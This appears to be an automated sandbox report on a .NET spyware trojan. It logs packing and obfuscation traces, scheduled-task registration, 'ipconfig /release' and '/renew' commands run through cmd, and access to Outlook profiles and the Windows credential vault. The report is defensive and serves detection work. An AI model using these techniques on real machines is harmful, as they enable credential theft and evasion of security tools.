Source: xnlP06YunJ.exe, 00000000.00000002.1153257947.0000000004733000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBcsvlqaj.dll" vs xnlP06YunJ.exe
Source: xnlP06YunJ.exe, 00000000.00000002.1153257947.0000000004733000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs xnlP06YunJ.exe
Source: xnlP06YunJ.exe, 00000004.00000002.2105496167.0000000000902000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilename77d62c29-4ea5-4d42-a3b6-c31fbd3b2ada.exe4 vs xnlP06YunJ.exe
Source: xnlP06YunJ.exe, 00000004.00000002.2105430058.00000000008F8000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs xnlP06YunJ.exe
Source: xnlP06YunJ.exe	Binary or memory string: OriginalFilenameKqjoqlc.exe< vs xnlP06YunJ.exe

Source: xnlP06YunJ.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: xnlP06YunJ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: xnlP06YunJ.exe, ConcreteAdapter.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, oH693OIIGFg.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, 1jwN8Qsp0hs.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, BOM.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, SN5.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, cpjKUanB.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, IicScPhBvUG.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, Q2FNJ519aLQD3XRLdiP.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, Q2FNJ519aLQD3XRLdiP.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, dyn.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, dyn.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, dyn.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, dyn.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.xnlP06YunJ.exe.4869240.2.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.xnlP06YunJ.exe.4869240.2.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.xnlP06YunJ.exe.4869240.2.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.xnlP06YunJ.exe.4869240.2.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 0.2.xnlP06YunJ.exe.4869240.2.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.xnlP06YunJ.exe.4869240.2.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.xnlP06YunJ.exe.4869240.2.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.xnlP06YunJ.exe.4869240.2.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.xnlP06YunJ.exe.4869240.2.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.xnlP06YunJ.exe.4869240.2.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@13/0@2/2

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2660:120:WilError_03

Source: xnlP06YunJ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: xnlP06YunJ.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\xnlP06YunJ.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\xnlP06YunJ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: xnlP06YunJ.exe	Virustotal: Detection: 72%
Source: xnlP06YunJ.exe	ReversingLabs: Detection: 60%

Source: unknown	Process created: C:\Users\user\Desktop\xnlP06YunJ.exe "C:\Users\user\Desktop\xnlP06YunJ.exe"
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process created: C:\Users\user\Desktop\xnlP06YunJ.exe "C:\Users\user\Desktop\xnlP06YunJ.exe"
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process created: C:\Users\user\Desktop\xnlP06YunJ.exe "C:\Users\user\Desktop\xnlP06YunJ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew	Jump to behavior

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\xnlP06YunJ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\xnlP06YunJ.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\xnlP06YunJ.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: xnlP06YunJ.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: xnlP06YunJ.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: xnlP06YunJ.exe

Static file information: File size 1971616 > 1048576

Source: xnlP06YunJ.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x183a00

Source: xnlP06YunJ.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: xnlP06YunJ.exe, 00000000.00000002.1160738480.0000000006BE0000.00000004.08000000.00040000.00000000.sdmp, xnlP06YunJ.exe, 00000000.00000002.1153257947.00000000043A1000.00000004.00000800.00020000.00000000.sdmp, xnlP06YunJ.exe, 00000000.00000002.1153257947.0000000004733000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: xnlP06YunJ.exe, 00000000.00000002.1160738480.0000000006BE0000.00000004.08000000.00040000.00000000.sdmp, xnlP06YunJ.exe, 00000000.00000002.1153257947.00000000043A1000.00000004.00000800.00020000.00000000.sdmp, xnlP06YunJ.exe, 00000000.00000002.1153257947.0000000004733000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: xnlP06YunJ.exe, 00000000.00000002.1159805229.0000000006620000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: xnlP06YunJ.exe, 00000000.00000002.1159805229.0000000006620000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, Q2FNJ519aLQD3XRLdiP.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 0.2.xnlP06YunJ.exe.4733420.0.raw.unpack, tiLJlFegcsjJY5bvKoi.cs	.Net Code: Type.GetTypeFromHandle(kY54gRsM9mUt4UfGc7h.Fr9PKyQuA1(16777356)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(kY54gRsM9mUt4UfGc7h.Fr9PKyQuA1(16777255)),Type.GetTypeFromHandle(kY54gRsM9mUt4UfGc7h.Fr9PKyQuA1(16777287))})

.NET source code contains potential unpacker

Source: xnlP06YunJ.exe, ConcreteAdapter.cs	.Net Code: AdaptExternalAdapter System.Reflection.Assembly.Load(byte[])
Source: 0.2.xnlP06YunJ.exe.4869240.2.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.xnlP06YunJ.exe.4869240.2.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.xnlP06YunJ.exe.4869240.2.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.xnlP06YunJ.exe.5db0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xnlP06YunJ.exe.5db0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1158237609.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1141980710.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xnlP06YunJ.exe PID: 6616, type: MEMORYSTR

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_066A31B9 push esp; iretd	0_2_066A31BC
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BC9FA9 push cs; ret	0_2_06BC9FAA
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BC9FE1 push cs; ret	0_2_06BC9FE2
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BC94E9 push es; ret	0_2_06BC94EA
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BCC5BE push es; ret	0_2_06BCC5C4
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BC75A2 push es; retf	0_2_06BC75A8
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BC95F0 push es; ret	0_2_06BC95F2
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BC9520 push es; ret	0_2_06BC9522
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BC9523 push es; ret	0_2_06BC952A
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BC9569 push es; ret	0_2_06BC956A
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BC956B push es; ret	0_2_06BC9572
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BCD0BE push es; retf	0_2_06BCD0D0
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BCA081 push cs; ret	0_2_06BCA082
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BCB882 push es; retf	0_2_06BCB888
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BCA028 push cs; ret	0_2_06BCA02A
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BCA078 push cs; ret	0_2_06BCA07E
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BCB92A push es; retf	0_2_06BCB930
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06C44ADB push esp; ret	0_2_06C44AE1
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06C446FA pushfd ; ret	0_2_06C44AD9
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06C44EA8 pushad ; ret	0_2_06C44EA9
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06C42A6B push ebp; ret	0_2_06C42A72
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06C42A29 push esp; ret	0_2_06C42A2A
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06C41FC1 push ecx; ret	0_2_06C41FC2
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06C43FC1 pushad ; ret	0_2_06C43FC2
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06C41FC3 push eax; ret	0_2_06C41FC6
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06C43F81 pushad ; ret	0_2_06C43F82
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06C44008 pushad ; ret	0_2_06C4400A
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06C429E1 push esp; ret	0_2_06C429E2
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06C429E9 push esp; ret	0_2_06C429EA
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06C44D43 push esp; ret	0_2_06C44D49
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064C1021 push es; ret	4_2_064C1024

Source: xnlP06YunJ.exe

Static PE information: section name: .text entropy: 7.806883109554231

Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, oH693OIIGFg.cs	High entropy of concatenated method names: 'Xyaca7TjH9r8ujdrrjl', 'AwbYvITAKsFvwdxR3ud', 'XFWbm3TbDbv1GlUCDtG', 'k9HQ68TMqEn6UCm7cQJ', 'Grab', 'xMZg90LFcT', 'gsNgt5GrEX', 'bEOgncqr8p', 'LrXIETT9Q1sVUpmW4MS', 's2gCbVTtYmZes2mikyQ'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, 1RmE4.cs	High entropy of concatenated method names: 'ReleaseHandle', 'JhdrbFTfyPpsbD7X5N9', 'SciD8XTVYxfxZqTHPPP', 'RegOpenKeyEx', 'RegCloseKey', 'RegQueryValueEx', 's4myi0TWhErCShaZBrD', 'GhWeBKT3fJx2hgIHGFT', 'Grab', 'xL3b71TlAXCINK4BMf0'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, Q2FNJ519aLQD3XRLdiP.cs	High entropy of concatenated method names: 'el8cZa2Bj7WUrDfoGnH', 'WKiffG2cBprZsynkmrB', 'OIj5Ppk7iA', 'vh0ry9Sq2v', 'pFq5Y4cbyF', 'JO658oU7LE', 'GMF5QF5ASt', 'EUQ5zj6mZO', 'xyIJKwqHCk', 'bFm1nNr3T1'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, oYiON3.cs	High entropy of concatenated method names: 'f4Hw9ow795', 'lNMwtlaHdP', 'jhawn3YIfC', 'ZUa', 'P5IX3BG', 'JfWDY', '_8WQtAGzX', 'qRrwjqBqdM', 'EHXwAkFitP', 'tTLwuv4onS'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, sc1GAGO7.cs	High entropy of concatenated method names: 'H6wQKiL1W1hg4vMYFpu', 'fRZEkWL5Kmfnmq5X4yX', 'iXYP', 'KxxZ9EnF', 'MgAvPqe0', 'keIjIjhkNWj', 'KM1XL1z6', 'Asy', '_1VE2K', 'OlIjOE6'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, uIOyrjgmj4VibKGvHxW.cs	High entropy of concatenated method names: 'y4bwx0eIit', 'V5UwRAWD2J', 'QW4wwCou6D', 'gN6w0Bo0Ga', 'Xaiw58nEyt', 'x1ywDDikq4', 'CdaPQOF0mu8UieWhIoL', 'vxHYSJF1svDoZC9K42h', 'A8OgkixAht', 'AHO046FR3jMSXdBXHNs'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, m3NjPDDLiSGRFVZ5Xij.cs	High entropy of concatenated method names: 'JaiDMpuvGa', 'b4ND4tcBrI', 'uH4D75vj6G', 'RebDvuQITy', 'q0yDdmFtCG', 'MOBDpT748A', 'GZZDBZ0YNZ', 'zMJDcqUA1c', 'luyDNi8aCn', 'xoRDEeuXs6'
Source: 0.2.xnlP06YunJ.exe.452f3a0.4.raw.unpack, bOL8YNwGWNXPaSJfSjW.cs	High entropy of concatenated method names: 'qpQwiRuf4p', 'tOtwkkb3hV', 'kM8wYR4Aqb', 'Nvnw8Iava4', 'hI7wzGGWbg', 'qTM0x1c03S', 'OEq0gcxPS6', 'Upr0wJfaQ2', 'o8F01IEhJQ', 'x5505xnfwd'
Source: 0.2.xnlP06YunJ.exe.5980000.5.raw.unpack, JaR1TLbKvV3KQlwEEf6.cs	High entropy of concatenated method names: 'x6Vbe65AaY', 'MQAbsxC4KE', 'Tc2b0oVdXU', 'e7sbwS2Jds', 'OF3buvqJGu', 'ke6bEtuqt2', 'UPGbGeADEf', 'umxbpjYUb8', 'KkmbaWVSSG', 'iSDbZOxwm9'
Source: 0.2.xnlP06YunJ.exe.4733420.0.raw.unpack, opM1EgsDhQbDcOCE5Bu.cs	High entropy of concatenated method names: 'p97stdejne', 'Vj4s8U1Xpb', 'NoksTBlhXE', 'bN9s2gDMTF', 'wSHsx9VjF8', 'OndsPhmso1', 'skRsCGLf6s', 'Clws9kYD77', 'JQmsSBcwUa', 'crNsXWpfKA'
